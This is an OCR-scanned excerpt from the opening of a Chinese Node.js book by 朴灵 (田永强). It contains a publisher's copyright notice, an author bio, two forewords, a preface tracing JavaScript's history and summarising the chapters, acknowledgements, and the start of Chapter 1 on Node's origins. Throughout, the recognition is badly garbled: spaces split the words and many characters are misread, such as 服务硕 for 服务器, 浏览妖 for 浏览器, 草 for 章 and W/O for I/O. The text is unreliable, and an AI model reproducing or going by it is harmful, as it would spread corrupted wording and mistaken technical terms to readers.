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数字 版权 声 明 


图 灵 社 区 的 电子 书 没有 采用 专 有 客 
户 端 ， 您 可 以 在 任意 设备 上 ， 本 
己 喜 欢 的 浏览 器 和 PDF 阅读 器 进 
阅读 。 

但 您 购买 的 电子 书 仅 供 您 个 人 使 
用 ， 未 经 授权 ， 不 得 进行 传播 。 
我 们 愿意 相信 读者 具有 这 样 的 民 知 
和 咒 悟 ， 与 我 们 共同 保护 知识 产 
权 。 

如 果 购 买 者 有 侵权 行为 ， 我 们 可 能 
对 该 用 户 实 施 包 括 但 不 限于 关闭 该 
帐号 等 维权 措施 ， 并 可 能 退 究 法 律 
责任 。 


朴 灵 ， 真 名 田 永 强 ， 文 艺 型 码 农 ， 就 
职 于 阿里 巴巴 数据 平台 ， 资 深 工程 师 ， 
Node.js 布 道 者 ， 写 了 多 篇 文章 介绍 Node.js 
的 细节 。 活 跃 于 CNode 社 区 ， 是 线 下 会 议 
NodeParty 的 组 织 者 和 JSConf China | 沪 JS 
和 京 JS ) 的 组 织 者 之 一 。 热 爱 开 源 ， 多 个 
Node.js 模 块 的 作者 。 个 人 GitHub 地 址 : 
http://github.com/JacksonTian。 即 首 间 
路 ， 码 梦 为 生 。 
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内 容 提 要 
本 书 从 不 同 的 视角 介绍 了 Node 内 在 的 特点 和 结构 。 由 首 章 Node 介绍 为 索引 ， 涉 及 Node 的 各 个 方面 ， 
主要 内 容 包 含 模 块 机 制 的 揭示 、 异 步 IO 实现 原理 的 展现 、 异 步 编 程 的 探讨 、 内 存 控制 的 介绍 、 二 进 制 数 
据 Buffer 的 细节 、Node 中 的 网 络 编程 基础 、Node 中 的 Web 开发 、 进 程 间 的 消息 传递 、Node 测试 以 及 通过 
Node 构建 产品 需要 的 注意 事项 。 最 后 的 附录 介绍 了 Node 的 安装 、 调 试 、 编 码 规范 和 NPM 仓库 等 事宜 。 
本 书 适合 想 深 入 了 解 Node 的 人 员 阅 读 。 
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友 一 


没有 用 过 Node 的 人 ， 是 不 会 相信 仅 赁 JavaScript 这 门 活跃 于 网 页 编程 的 脚本 语言 就 可 以 驱 
动 后 端 复 杂 的 应 用 程序 ， 也 不 会 相信 Node 在 开发 高 并 发 、 高 性 能 后 端 服务 程序 上 也 有 兰 极 大 的 
优势 。 

我 们 在 2010 年 接触 Node 的 时 候 ， 国 内 外 了 解 Node 的 人 窗 穴 可 数 ，2011 年 我 们 已 经 决定 在 
淘宝 的 部 分 生产 系统 中 开始 使 用 Node。 由 于 招募 熟悉 Node 的 人 才 是 个 大 问题 , 为 了 树立 技术 品 
牌 ， 我 们 在 2011 年 年 初创 办 CNode 开源 技术 社区 ( CNodeJS.org )， 没 有 想到 一 发 不 可 收拾 。 从 
2011 年 4 月 开始 ,我 们 走 遍 北京 、 上 海 、 广 州 、 深 圳 、 杭 州 ， 甚 至 还 到 了 香港 ， 发 起 并 日 组 织 
多 次 NodeParty 线 下 技术 分 享 。 为 了 弥补 初学 者 没有 Node 托管 环境 学 习 测 试 的 问题 ， 我 们 还 日 
己 全 发 了 Node App Engine。Node 在 国内 深入 人 心 ， 我 相信 与 CNode 社区 有 痢 不 小 的 关系 。 

最 初 ， Node 的 爱好 者 大 都 是 些 喜 欢 探 索 新 技术 的 极 客 。 在 社区 ， 我 们 也 认识 了 很 多 天 商海 
北 的 朋友 ， 包 括 朴 灵 。 在 一 次 上 海 Node 技术 分 享 会 后 ， 我 邀请 他 加 入 了 淘宝 。 他 在 淘宝 工作 之 
余 继 续 为 社区 作 贡 献 ， 目 发 为 Node 的 推广 做 了 很 多 事情 ， 包 括 今天 他 哎 心 写 了 这 本 书 ， 我 相信 
这 是 目前 质量 最 高 的 一 本 Node 图 书 。 因 为 中 国 没 有 几 个 人 像 朴 灵 一 样 ， 有 机 会 在 很 多 高 并 发 的 
应 用 场景 中 反复 实践 。 这 绝对 是 一 本 实践 性 极 强 的 技术 书 ， 不管 是 否 和 学 习 过 Node， 只 要 你 爱好 
技术 ， 都 推荐 你 阅读 它 。 


有 
5 
i 
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CNode 社区 创始 人 
阿里 巴巴 数据 平台 事业 部 数据 交换 平台 总 监 
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友 二 


Node 诞生 于 2009 年 ， 天 才 的 局 丝 青 年 Ryan Dahl 利用 了 Google 的 V8 引 擎 打造 了 基于 事件 
循环 实现 的 异步 IO 框架。 也 许 Ryan 当时 选择 JavaScript 作为 服务 天 开发 语言 ， 只 是 因为 V8 的 
性 能 远 超 其 他 脚本 语言 ， 但 是 这 却 成 为 Node 成 功 的 极其 重要 的 因素 。 不 仅仅 是 JavaScript 巨大 
的 用 户 群 ， 更 重要 的 是 JavaScript 之 前 没有 任何 IO 库 ， 这 使 Node 在 开发 异步 IO 时 不 会 像 
EventMachine 、Twisted 那样 因 与 同步 VO 混用 而 导致 问题 。 

短 短 几 年 的 时 间 , Node 取得 了 巨大 的 成 功 。 在 开源 社区 GitHub 上 , Node 高 大 第 二 。express、 
socket.io 这 样 的 优秀 框架 都 有 痢 极 高 的 排名 , NPM 上 的 模块 数量 和 下 载 量 也 非常 惊人 。 更 可 喜 的 
是 , 国内 的 Node 社区 也 诞生 了 许多 优秀 的 开源 项 目 ， 其 中 node-webkit、pomelo 等 在 国际 开源 社 
区 中 都 产生 了 一 定 的 影响 力 。 

在 企业 界 ，Node 的 应 用 也 越 来 越 广泛 。LinkedIn 的 移动 平台 已 经 全 部 从 Ruby 迁移 到 Node， 
机 融 数 量 缩减 为 原来 的 十 分 之 一 。 像 Yahoo 、Microsoft 这 样 的 大 公司 ， 有 好 多 应 用 已 经 迁移 到 
Node 了 。 国 内 的 阿里 巴巴 、 网 易 、 上 腾讯、 新浪 、 百 度 等 公司 的 很 多 线 上 产品 也 纷纷 改 用 Node 开 
发 ， 并 取得 了 很 好 的 效果 。 

朴 灵 是 国内 最 早 的 Node 开发 者 之 一 ,不仅 组 织 了 CNode 社 区 ,在 InfoQ 发 表 的 “深入 浅 出 
Node.js” 系 列 文章 更 是 对 国内 的 Node 社 区 产生 了 巨大 的 影响 。 记 得 我 在 2011 年 初次 接触 Node 
的 时 候 ， 除 了 国外 的 几 个 演讲 文稿 ， 基 本 上 没有 Node 相关 的 图 书 ， 而 最 让 我 印象 深刻 的 ， 毫 无 
疑问 是 朴 灵 的 “深入 浅 出 Node.js” 系 列 文章 。 正 是 这 一 系列 文章 , 使 我 们 较 好 地 理解 、 学 习 Node 
后 ， 开 发 出 了 pomelo 框架 ， 也 并 定 了 朴 灵 在 国内 Node 界 的 地 位 。 

如 今 两 年 过 去 了 ， 国 内 外 的 Node 图 书 也 出 了 不 少 。 但 国内 的 几 本 书 有 点 偏 浅 ， 即 使 国外 的 
几 本 名 气 很 大 的 书 也 没有 让 我 有 动力 通读 全 书 , 因为 内 容 整 体 上 没有 太 大 深度 , 对 于 有 较 久 开发 
经 验 的 Node 开发 者 帮助 不 是 很 大 。 不 过 当 朴 灵 让 我 审 校 这 本 书 时 ， 我 党 得 收获 颇 多 。 相 比 其 他 
Node 图 书 的 作者 ， 他 在 淘宝 一 线 的 开发 经 验 使 这 本 书 更 有 深度 ， 而 他 文艺 青年 的 背景 让 这 本 书 
读 起 来 极其 顺畅 ， 他 的 钻研 精神 又 让 这 本 书 在 理论 上 很 有 深度。 例如 ， 朴 灵 在 微 博 上 目 称 “一 个 
能 搞定 回调 印 数 通 套 的 男人 ”还 真 不 是 吹 的 ， 在 第 4 草 中 ， 他 详细 介绍 了 Node 的 各 种 向 套 孙 数 
过 深 的 解决 方案 ， 例 如 EventProxy、Promise 、async 、step 、wind.js 等 各 种 解决 方案 都 有 深入 讲 
解 。 此 外 ， 朴 灵 还 是 EventProxy 的 作者 ， 在 这 方面 有 最 权威 的 实践 经 验 。 

朴 灵 是 国内 Node 界 的 第 一 传道 士 ， 除 了 那 一 系列 文章 ， 他 还 在 全 国 各 地 组 织 了 NodeParty 
和 JSConf China ( 2012 年 的 沪 JS 和 2013 年 的 京 JS )， 并 且 在 微 博 上 以 各 种 话 谐 幽默 的 方法 宣传 
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2 序 二 


Node。 在 各 个 技术 大 会 上 , 我 们 都 可 以 见 到 朴 录 的 刁 影 。 更 强 的 是 , 朴 灵 在 每 次 大 会 上 所 做 的 演 
讲 很 少 雷同 ， 他 总 是 能 挖掘 出 Node 的 方方面面 ， 然 后 很 认真 地 总 结 出 来 ， 以 幽 软 的 讲解 让 听众 
愉快 地 接受 。 

因此 ， 当 得 知 朴 灵 要 与 这 本 书 时 ， 我 们 都 很 兴奋 。 谁 能 比 他 更 胜任 呢 ? 坚 无 疑问 ,这 将 是 国 
内 第 一 的 Node 图 书 。 如 今 ， 经 过 一 年 多 的 等 每 ， 你 们 终于 有 机 会 看 到 朴 灵 这 一 年 多 辛勤 秀 动 的 
成 有 末了。 


谢 能 超 

网 易 融 级 技术 专家 、 架 构 师 

pomelo 开源 游戏 服务 器 框架 创始 人 
2013 年 7 月 8 日 
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2006 年 至 今 , 我 们 时 常 可 以 看 到 JavaScript 的 新 闻 ， 刚 开始 只 是 JavaScript 引擎 性 能 的 提升 ， 
到 后 来 发 现 很 多 是 来 目 HTML5 和 Node 创造 的 奇迹 。 如 果 只 看 表面 ， 很 容易 让 人 感觉 这 又 是 一 
颗 卫 星 。 这 种 现象 让 人 觉得 不 可 信 ， 所 以 出 现 了 以 下 各 种 版 本 的 误解 。 

口 Node 肯定 是 几 个 前 端 工程 师 在 实验 室 里 捣 豆 出 来 的 。 

口 为 了 后 端 而 后 端 ， 有 意思 吗 ? 

口 怎么 又 发 明了 一 门 新 语言 ? 

口 JavaScript 承担 的 责任 太 重 了 。 

口 直觉 上 上 ，JavaScript 不 应 该 运行 在 后 端 。 

口 前 冰 工 程 师 要 逆 和 了 。 

一 方面 ， 大 家 看 到 JavaScript 在 各 个 地 方 放出 异彩 ， 其 他 语言 的 开发 者 既 辫 茶 它 的 成 果 ， 
又 担心 它 对 当前 所 从 事 的 语言 造成 冲击 ; 另 一 方面 ， 人 们 还 是 有 JavaScript 只 能 做 前 端 脚本 的 
定 势 思维 。 究 其 原因 ， 还 是 因为 人 们 缺乏 历史 观 层次 上 的 认 知 ， 所 以 会 产生 一 些 莫须有 的 悄 司 
不 去 

1995 年 , JavaScript 随 网 景 公 司 发 布 的 Netscape Navigator 2.0 发 布 , 它 最 早 命名 为 LiveScript， 
随后 更 名 为 JavaScript。 它 出 目 如 今 的 Mozilla 公司 的 CTO Brendan Eich 之 手 ， 其 产生 来 源 于 
网 景 公 司 发 布 的 Netscape Navigator 浏 览 硕 需要 一 种 脚本 语言 来 协助 浏 览 锅 做 一 些 简 单 的 动态 操 
作 。 当 时 网 景 公司 与 Sun 公司 合作 密切 ， 不 懂 技 术 的 管理 层 希 望 得 到 一 个 Java 的 脚本 版 声言 ， 
以 期 能 像 Java 一 样 风 靡 。Brendan Eich 原本 进入 网 景 公司 是 希望 做 Scheme 语言 的 开发 ， 但 是 却 
接 到 了 一 个 不 喜欢 的 任务 , 但 迫 于 当时 形势 ,不 得 不 完成 此 事 ， 于 是 JavaScript 之 父 在 10 天 的 时 
间 里 仓促 完成 了 JavaScript 的 设计 ， 当 时 的 项 目 代 号 是 Mocha， 名 字 叫 LiveScript。 

这 门 语言 除了 看 起 来 像 Java 外 ， 本 质 与 Java 语言 相 去 其 远 ， 管 理 层 期 望 的 Java Script 其 实 
借鉴 了 C、Scheme、Self、Java 的 设计 。 尽 管 仓促， 但 是 这 门 语 言 还 是 借鉴 了 其 他 语言 的 不 少 优 
点 ， 如 羡 数 式 、 原 型 链 继承 等 。 处 于 Java 阴影 下 的 这 门 语言 获得 了 它 最 终 的 名 字 : JavaScript。 
至 今 ， 仍 然 还 有 许多 人 分 不 清 Java 与 JavaScript 的 关系 ， 就 像 分 不 清 雷锋 与 雷 峰 塔 一 样 。 

虽然 JavaScript 的 产生 与 Netscape Navigator 浏览 各 的 需求 有 关系 , 但 它 并 非 只 是 设计 出 来 用 
于 浏览 规 前 端的 。 早 在 1994 年 ， 网 景 公司 就 公布 了 其 Netscape Enterprise Server 中 的 一 种 服务 天 
闹 脚 本 实现 , 它 的 名 字 叫 LiveWire, 是 最 早 的 服务 硕 端 JavaScript, 甚至 早 于 浏览 硕 中 的 JavaScript 
公布 。 对 于 这 门 图 灵 完 备 的 场 言 ， 网 景 早 就 开始 和 试 将 它 用 在 后 端 。 
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随后 ,微软 在 第 一 次 浏览 硕大 战 时 ,于 1996 年 发 布 的 了 正 3.0 中 也 包含 了 它 的 脚本 语言 :JScript。 
基于 商标 的 原因 , 它 叫 JScript, 但 是 与 JavaScript 兼容 。 在 1997 年 年 初 , 微软 在 它 的 服务 需 IIS 3.0 
中 也 包含 了 JScript， 这 就 是 我 们 在 ASP 中 能 使 用 的 脚本 语言 。 鉴 于 微软 处 处 与 网 景 针 锋 相 对 ， 
出 于 保护 目 己 的 目的 ， 网 景 公 司 推进 了 JavaScript 的 标准 化 进程 ， 于 1996 年 11 月 将 JavaScript 
递交 给 ECMA 国际 标准 组 织 , 在 1997 年 7 月 公布 了 第 一 个 版 本 , 是 为 ECMA-262 号 标准 ， 又 称 
ECMAScript。 

可 以 看 到 ，JavaScript 一 早 就 能 运行 在 前 后 闫 ， 但 风云 变 约 ， 在 前 后 端 各 目的 待遇 却 不 尽 相 
同 。 伴 随 着 Java、PHP、.NET 等 服务 器 端 技术 的 风靡 ， 与 前 端 浏览 器 中 的 JavaScript 越 来 越 重 要 
相 比 ， 服 务 器 端 JavaScript 逐渐 式微 。 只 剩 下 Rhino 、SpiderMonkey 用 于 工具 。 

然而 ， 这 个 世界 是 变化 的 。 第 一 次 浏览 妖 大 战 沙 欠 后 的 JavaScript 的 世界 有 些 平静 ， 但 依然 
在 萌生 一 些 变 化 。Google 对 Ajax 的 应 用 让 JavaScript 变 得 越 来 越 重 要 。Firefox 的 发 布 掀起 了 对 
IE 的 反攻 ， 迎 来 了 第 二 次 浏览 厚 大 战 ， 竞 争 令 JavaScript 的 性 能 不 断 提 升 ，Chrome 的 加 入 令 它 
高 湖 迭 出 。CommonJS 规范 的 提出 ， 不 断 在 完善 JavaScript。ECMAScript 标准 的 不 断 推进 ， 令 语 
言 更 加 精 烁 简洁， 不 俘 地 去 鞠 存 葫 。 

浏览 妖 问 JavaScript 在 Web 应 用 中 感 行 ， 甚 至 让 人 们 恋 反 了 JavaScript 可 以 在 服务 融 端 运行 
这 人 码 事 。 但 是 ， 服 务 途 问 JavaScript 现在 回来 了 ， 因 为 Node 诞生 了 。Node 的 诞生 离 不 开 上 述 的 
历史 契机 ， 服 务 融 端 JavaScript 在 漫长 的 历史 中 长 期 停 沛 留 下 空 日 ,但 Node 重新 将 这 个 领域 泊 
活 。Ryan Dahl 基于 对 高 性 能 Web 服务 大 的 探索 ， 无 意 间 促成 了 服务 套 端 JavaScript 领域 的 焕然 
一 新 。Node 凭借 V8 的 高 性 能 和 异步 IO 模型 将 JavaScript 重新 推 问 了 一 个 高 漳 。 现 在 ，Node 不 
仅 满 足 JavaScript 同时 运行 在 前 后 端 ， 而 且 性 能 还 十 分 高 效 。 与 传统 印象 中 的 不 同 ， 它 其 至 可 比 
于 当前 的 高 效 脚本 语言 。 

奇妙 的 反应 还 在 继续 ， 前 后 端 要 路 语言 开发 的 现状 已 经 开始 改变 ， 因 为 语言 堆栈 的 不 同 , 开 
发 者 的 分 工 也 进行 了 细 分 : 前 端 工程 师 和 后 端 工 程 师 。 专 业 技 能 因为 分 工 而 精进 ,但 也 将 技能 变 
为 专利 ， 似 乎 前 并 工程 师 不 能 进行 后 问 开 发 ， 后 并 工程 师 搞 不 定 前 症 开 发 ， 犹 如 树立 的 墙 。 但 
Node 的 出 现 令 这 种 分 工 的 界限 又 开始 模糊 了 。 同 时 一 些 后 端 工程 师 也 关注 到 Node， 他 们 甚至 不 
关心 前 后 端 语 言 是 否 一 致 ， 而 是 赤裸 裸 地 表示 对 Node 高 性 能 的 告 旋 ， 如 实时 、 高 并 发 等 。 

大 量 的 前 后 端 工程 师 加 入 了 Node 的 开发 阵 吾 ，GitHub 上 JavaScript 是 最 活跃 的 开发 语言 ， 
NPM 社区 第 三 方 模块 恕 怖 的 增长 速度 和 下 载 量 都 昭示 大 这 个 过 程 不 可 逆 ， 在 这 里 叭 一 声 万 能 的 
NPM， 总 能 找到 你 需要 的 解决 方案 。 很 多 不 断 消 现 的 项 目 和 创意 都 因为 Node 和 前 端 开 发 能 共用 
一 种 语言 而 独特 。 换 言 之 ，Node 的 本 意 是 提供 一 个 高 性 能 的 面 癌 网 络 的 执行 平台 ， 但 无 意 间 估 
成 了 JavaScript 社 区 的 索索 ， 并 进而 形成 强大 的 生态 系统 。 


本 书目 的 


目前 ， 还 没有 一 本 书 将 Node 自 号 结构 介绍 出 来 ,大 多 保留 在 Node 介绍 或 者 框架 、 库 的 使 用 
层面 上 ， 本 书 和 希望 从 不 同 的 视角 揭示 Node 上 自己 内 在 的 特点 和 结构 。 也 许 你 已 经 用 过 Node 进行 
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相关 的 开发 ， 在 使 用 了 Node 带 来 的 欣喜 后 ， 还 能 在 阅读 本 书 时 ， 发 出 一 句 “ 哦 ， 原 来 Node 是 
这 样 的 "， 这 就 是 本 书 的 简单 寄 望 。 

对 于 Node 初学 者 ， 目 前 市 面 上 也 已 经 有 Node 相关 的 入 门 书 ， 它 们 可 以 快速 地 领 你 进入 
Node 开发 之 旅 。 在 了 解 了 这 些 基本 过 程 后 , 想 了 解 更 多 Node 知识 的 好 奇 心 ,会 领 你 来 阅读 本 
书 的 。 


向 旋 建议 


本 书 并 非 完 全 按照 顺序 递 进 式 介绍 ， 如 第 2 草 是 从 代码 组 织 结构 看 待 Node， 第 3 草 是 从 运 
行 结构 看 Node， 第 4 章 则 是 从 编程 结构 看 Node， 第 5 章 则 是 Node 中 内 存 结构 的 揭示 ,第 6 章 
谈 及 的 是 Node 中 的 数据 在 IO 流 中 的 结构 或 状态 ， 第 7 童 是 Node 在 网 络 服务 角度 的 介绍 , 第 8 
章 是 Node 在 HTTP 上 的 展现 ， 第 9 章 讨论 了 Node 的 单机 集群 结构 ， 第 10 章 是 从 单元 测试 和 性 
能 测试 的 角度 去 关注 Node， 第 11 草 虽 然 已 经 脱离 了 Node 编码 的 范畴 ， 但 是 站 在 产品 化 的 角度 
看 待 Node， 也 会 颇 有 收获 。 

下 面 是 各 草 的 详细 介绍 。 

第 1 章 : 这 一 章 简要 介绍 了 Node， 从 中 可 以 了 解 Node 的 发 展 历程 及 其 带 来 的 影响 和 价值 。 

第 2 章 : 这 一 曹 介 绍 了 Node 的 模块 机 制 ， 从 中 可 以 了 解 到 Node 是 如 何 实 现 CommonJS 模 
块 和 包 规 范 的 。 在 这 一 草 中 ,我 们 详细 解释 了 模块 在 引用 过 程 中 的 编译 、 加 载 规 则 。 另 外 , 我们 
还 能 读 到 更 深度 的 关于 Node 自身 源 代码 的 组 织 架 构 。 

第 3 章 : 这 一 章 展 示 了 在 Node 中 我 们 将 异步 VO 作为 主要 设计 理念 的 原因 。 男 外 ， 还 会 介 
绍 到 异步 IO 的 详细 实现 过 程 。 

第 4 章 : 这 一 草 主 要 介绍 异步 编程 , 其 中 有 篆 见 的 异步 编程 问题 介绍 , 也 有 详细 的 解决 方案 。 
在 这 一 章 中 ， 我 们 可 以 接触 到 Promise、 事 件 、 高 阶 函 数 是 如 何 进行 流程 控制 的 。 

第 5 草 : 这 一 草 主 要 介绍 了 Node 中 的 内 存 控 制 ， 主 要 内 容 有 垃圾 回收 、 内 存 限制 、 查 看 内 
存 、 内 存 泄 漏 、 大 内 存 应 用 等 细 。 

第 6 章 : 这 一 草 介 绍 了 前 端 JavaScript 里 不 能 遇 到 的 Buffer。 由 于 Node 中 会 涉及 频繁 的 网 络 
和 和 傍 盘 UVO ， 处 理 字 节 流 数据 会 是 很 稼 见 的 行为 ， 这 部 分 场景 与 纯粹 的 前 端 开 发 完全 不 同 。 

第 7 章 : 这 一 章 介 绍 了 Node 支持 的 TCP、UDP、HTTP 编程 ， 还 附 赠 了 WebSocket 与 TLS、 
HTTPS 的 介绍 。 

第 8 章 : 这 一 章 介绍 了 构建 Web 应 用 的 过 程 中 用 到 的 大 多 数 技术 细节 ， 如 数据 处 理 、 路 由 、 
MVC、 模 板 、RESTful 等 

第 9 草 : 这 一 草 介 绍 了 Node 的 多 进程 技术 ， 以 及 如 何 借助 多 进程 的 方式 来 提升 应 用 的 可 用 
性 和 性 能 。 

第 10 章 : 这 一 章 介绍 了 Node 的 单元 测试 和 性 能 测试 技巧 。 

第 11 草 :“ 行 百 里 者 半 九 十 ”， 完 成 产品 开发 的 代码 编写 后 ， 才 完成 了 项 目的 第 一 步 。 这 一 
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章 介绍 了 将 Node 产品 化 所 需要 注意 到 的 细 市 ， 如 项 目 工程 化 、 代 码 部 团 、 日 志 、 性 能 、 监 控 报 
警 、 稳 定性 、 异 构 共 存 等 。 

附录 A: 详细 介绍 了 Node 的 安 猴 步 又 。 

附录 B: 讨论 了 Node 的 调试 技巧 。 

附录 C: 探讨 了 团队 实践 或 多 人 协作 过 程 中 需要 关注 的 编码 规范 问题 ， 它 可 以 很 好 地 规避 一 
些 低级 的 、 明 显 的 错误 。 

附录 D: 作为 企业 开发 者 ,必须 关注 模块 仓库 的 搭建 管理 。 在 这 一 半 中 ,我们 介绍 了 如 何 通 
过 搭建 入 有 NPM 来 解决 企业 隐私 安全 等 方面 的 问题 。 
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致谢 


这 本 书 的 产 出 过 程 其 实 完全 不 在 意料 之 中 。 最 早 找到 我 的 杨 海 玲 老 师 当 初 还 在 图 灵 公司 ， 
那 还 是 2011 年 的 时 候 ， 作 为 Node 发 烧 友 ， 我 其 实 是 极度 心虚 的 ， 因 为 我 除了 作为 前 端 工 程 师 
所 拥有 的 那 点 JavaScript 知识 外 ， 只 有 学 习 Node 的 热情 ， 当 时 我 十 分 感动 ， 然 后 拒绝 了 杨 老 师 
的 邀请 。 

随后 ， 崔 康 老 师 在 CNode 社区 看 到 我 的 那 篇 “用 Nodejs 打造 你 的 静态 文件 服务 硕 ” 后 ， 邀 
请 我 加 入 他 在 InfoQ 上 开辟 的 “深入 浅 出 Node.js” 专 栏 ， 出 于 对 写作 的 忒 惧 ， 我 也 拒绝 了 容 康 
老师 的 邀请 。 容 康 老 师 随 后 以 “ 写 专 栏 只 要 每 个 月 写 点 ， 近 比 写 书 容 易 ” 的 理由 劝 服 我 ， 我 随即 
在 心中 拿捏 了 计划 ,觉得 可 以 将 目 己 的 学 习 经 验 写 出 来 , 边 学 边 写 ,前 前 后 后 大 概 可 以 写 出 许多 
东西 来 ， 于 是 答应 了 容 康 老师 。 在 随后 的 大 半年 时 间 里 ， 我 在 InfoQ 上 发 表 了 7 篇 专栏 文章 。 可 
能 是 圈子 太 小 ， 杨 老师 在 寻找 Node 原创 书 作 者 的 过 程 中 经 过 一 圈 又 从 崔 康 老师 的 推荐 下 回 到 了 
我 这 里 。 因 为 心中 已 经 有 些 眉 目 , 知道 自己 想 要 表达 些 什 么 , 加 上 加 入 阿里 巴巴 数据 平台 数据 产 
品 部 门 (EDP ) 专职 从 事 Node 开发 后 ， 团 队 的 领导 玄 浴 和 苏 干 都 十 分 发 励 我 ， 觉 得 这 使 命 跨 冥 
之 中 该 由 我 去 完成 ， 于 是 应 承 了 这 本 书 的 写作 。 

当然 ， 这 只 是 吉 通 日 子 的 开始 ， 尽 管 每 天 接触 的 还 是 JavaScript 语 言 ， 但 实际 上 已 经 从 前 并 
领域 进入 了 后 闪 领 域 ， 我 的 知识 面 远 远 不 足以 文 撑 这 本 书 的 写作 。 竖 领域 的 过 程 是 相当 痛 兰 的 ， 
很 少 有 人 喜欢 尝试 改变 已 有 的 习惯 ， 而 我 还 要 在 这 个 基础 上 将 我 还 不 太史 悉 的 东西 重新 分 训 出 
来 , 要 保证 没有 错误 , 这 是 远 比 专栏 写作 高 得 多 的 挑战 , 为 此 我 层次 有 上 了 贼 船 的 感觉 。 直 千 上 ， 
因为 Node 是 JavaScript 语 言 ， 所 以 前 并 工 程 师 掌握 它 是 相对 容易 的 ， 但 是 事实 上 ,“ 行 百 里 者 半 
九 十 ”， 贺 悉 JavaScript 只 是 帮助 我 少 了 十 里 路 ， 在 整个 历程 中 , 还 有 九 十 里 需要 完成 ,这 就 是 兴 
趣 与 现实 之 间 的 差距 。 

经 历 了 拖 和 入、 延期 以 及 因为 没 能 按期 出 版 而 输 挥 iPad 奖励 等 打击 ， 最 终 梳 理 出 了 这 本 书 的 
内 容 。 与 大 多 数 介 绍 Node 的 书 不 同 ， 这 些 内 容 的 写作 过 程 就 是 我 自己 学 习 Node 的 过 程 ， 这 个 
过 程 充 厅 了 改变 融 来 的 痛 关 和 收获 ， 每 一 草 讲 述 的 侧重 点 都 不 相同 ， 但 又 都 是 Node。 我 在 这 个 
过 程 中 完成 了 目 己 在 操作 系统 、 网 络 方面 的 知识 补充 ， 悦 变 的 过 程 总 是 我 宽 和 豆 悦 的 ,过 去 因为 
前 后 问 语 言 的 不 同 而 分 散 下 离 的 知识 点 ， 奇 迹 般 地 因为 Node 重新 组 合 连接 起 来 ， 这 大 概 就 是 乔 
布 斯 提 到 的 “connecting the dots” 吧 。 写 完 这 本 书 时 ， 我 前 端 工程 师 的 职位 名 已 经 被 老板 摘 掉 ， 
姑且 认为 是 玄 澄 对 我 转变 过 程 的 认可 。 
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2 致 谢 


最 后 ， 非 常 感谢 王 军 花 老师 跟 进 本 书 的 进度 ， 感 谢 CNode 社区 的 朋友 们 提出 宝贵 建议 ， 感 
谢 阿 里 巴巴 EDP 部 门 给 予 我 最 好 的 环境 去 成 长 ， 让 这 本 书 更 精彩 。 

想不到 曾经 以 文艺 青年 日 调 的 我 ， 以 这 样 的 形式 完成 了 一 本 书 的 写作 ， 既 在 意料 之 外 ， 
也 在 意料 之 中 。 这 本 书 也 不 能 用 来 致 青春 ， 这 里 献 给 我 的 母亲 ， 没 有 您 的 影响 ， 不 可 能 存在 
这 本 书 。 
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Node 应 该 是 如 今 最 火热 的 技术 了， 从 本 章 开始 ， 我 们 将 逐步 揭示 它 的 请 多 细 市 。 


1.1 Node 的 诞生 历程 


Node 的 诞生 历程 如 下 所 示 。 

口 2009 年 3 月 , Ryan Dahl 在 其 博客 上 宣布 准备 基于 V8 创 建 一 个 轻 量 级 的 Web 服 务 需 并 提供 一 
套 库 。 

口 2009 年 5 月 ，Ryan Dahl 在 GitHub 上 发 布 了 最 初 的 版 本 。 

口 2009 年 12 月 和 2010 年 4 月 ， 两 届 JSConf 大 会 都 安排 了 Node 的 讲座 。 

口 2010 年 年 底 ，Node 获 得 硅谷 云 计 算 服 务 商 Joyent 公 司 的 资助 ， 其 创始 人 Ryan Dahl 加 入 
Joyent 公 司 全 职 负 责 Node 的 发 展 。 

口 2011 年 7 月 ，Node 在 微软 的 文 持 下 发 布 了 其 Windows 版 本 。 

D 2011 年 11 月 ,， Node 超越 Ruby on Rails ， 成 为 GitHub 上 关注 度 最 高 的 项 目 ( 随后 被 Bootstrap 
项 目 超越 ， 目 前 仍 居 第 二 )。 

D 2012 年 1 月 底 , Ryan Dahl 在 对 Node 架 构 设 计 满 意 的 情况 下 , 将 擎 门人 的 映 份 转交 给 Isaac Z. 
Schlueter， 自 己 转 向 一 些 人 研究 项 目 。Isaac Z. Schlueter 是 Node 的 包 管 理 器 NPM 的 作者 ,之 
后 Node 的 版 本 发 布 和 bug 修 复 等 工作 由 他 接手 。 

口 截至 笔者 执笔 之 日 4 2013 年 7 月 13 日 ), 发 布 的 Node 稳 定 版 为 v0.10.13, 非 稳 定 版 为 v0.11.4， 
NPM 的 官方 模块 数 达 到 34 943 个 ， 模 块 的 周 下 载 量 为 1479 万 次 。 

口 随后 ，Node 的 发 布 计划 主要 集中 在 性 能 提升 上 ， 在 v0.14 之 后 ， 正 式 发 布 出 v1.0 版 本 。 


1.2 Node 的 命名 与 起 源 


在 Node 的 官方 网 站 (http:/nodejs.org ) 之 外 , Node 具 有 很 多 别称 : Nodejs、NodeJS 、Node.js 
等 。 本 书 在 写作 过 程 中 避 循 官方 的 说 法 ， 将 会 一 二 使 用 Node 这 个 名 字 ,， 但 是 在 当前 语 境 之 外 ， 
为 了 与 其 余 表 示 节 点 的 技术 或 名 词 相 区 别 ， 均 可 以 带 上 .js 表明 它 是 Node。 在 听 到 这 些 词汇 时 ， 
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第 1 章 Node 简介 


应 该 意识 到 ， 它 们 次 的 是 一 码 事 。 除 了 本 书 的 封面 和 此 处 会 用 到 Node.js 外 ， 其 余地 方 都 会 以 
Node 作 为 正式 称谓 。 
Node 名 字 的 来 由 ， 其 实 跟 它 的 起 源 是 有 密切 关系 的 。 


1.2.1 为 什么 是 JavaScript 


Ryan Dahl 是 一 名 资深 的 C/C++ 程序 员 ， 在 创造 出 Node 之 前 ， 他 的 主要 工作 都 是 围绕 高 性 能 
个 


Web 服 务 天 进行 的 。 经 历 过 一 些 答 试 和 失败 之 后 , 他 找到 了 设计 高 性 能 ，Xeb 服 务 釉 的 几 个 要 点 : 
事件 驱动 、 非 阻塞 IO。 


所 以 Ryan Dahl 最 初 的 目标 是 写 一 个 基于 事件 驱动 、 非 阻塞 W/O 的 Web 服 务 右 ， 以 达到 更 高 的 
性 能 ,提供 Apache 等 服务 套 之 外 的 选择 。 他 提 到 , 大 多 数 人 不 设计 一 种 更 简单 和 更 有 效率 的 程序 
的 主要 原因 是 他 们 用 到 了 阻 寨 W/O 的 库 。 写作 Node 的 时 候 , Ryan Dahl 曾 经 评估 过 C、Lua 、Haskell、 
Ruby 等 语言 作为 备 选 实现 ,结论 为 : C 的 开发 门槛 高 ， 可 以 预见 不 会 有 太 多 的 开发 者 能 将 它 用 于 
